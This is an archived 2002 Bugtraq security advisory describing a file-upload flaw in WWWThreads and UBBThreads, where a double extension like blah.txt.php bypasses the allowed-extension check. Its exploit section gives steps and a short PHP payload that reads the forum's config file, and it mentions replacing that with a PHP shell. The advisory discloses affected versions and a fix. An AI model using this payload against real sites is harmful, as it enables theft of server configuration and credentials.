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Date: 30 Jan 2002 22:12:17 -0000
From: Root Extractor <condor@phreaker.net>
To: bugtraq@securityfocus.com
Subject: [ WWWThreads, UBBThreads ] Security Hole in upload system



[ WWWThreads, UBBThreads ] Security Hole in
upload system

Author: RootExtractor, CompuMe
condor@phreaker.net, compume2000@hotmail.com

I.   Details
II.  Vulnerable ver's
III. Example, Xploit
IV.  Solution

Details :

..: config.inc.php :..
- ------------------------- snip ------------------------------

// $config['excludefiles']
= ".php,.asp,.js,.vbs,.sht,.htm";
   $config['allowfiles'] = ".zip,.txt,.gif,.jpg,.jpeg,.bmp";

- ------------------------- snip ------------------------------


that files that were not listed in the allow files could
still be uploaded. Seems you checked the extension
but if someone added an allowable extension first
before the bogus extension the file would upload.

vulnerable :
WWWThreads and UBBThreads 5.5 Dev11 and piror

not vulnerable :
UBBThreads 5.5

Example :
you allow the upload or .txt,.jpg,.bmp,.zip
all files that don't have those extensions should not
be uploaded
However if somebody changes the name of the file to
blah.txt.php the file will validate and upload......huh !

Xploit :
1) make new file $ touch blah.txt.php
2) edit it       $ vi blah.txt.php (in this step, write a php
code, for example)

              <?php
                $readfile = join("", file
("../config.inc.php"));
              print $readfile;
              ?>

3) save & upload it
4) visit your blah file, now you can to see a config file
of your victim forum
5) i'm replaced readfile code by php shell file


Solution :
visit infopop.com and download ubbthreads 5.5
http://www.infopop.com/


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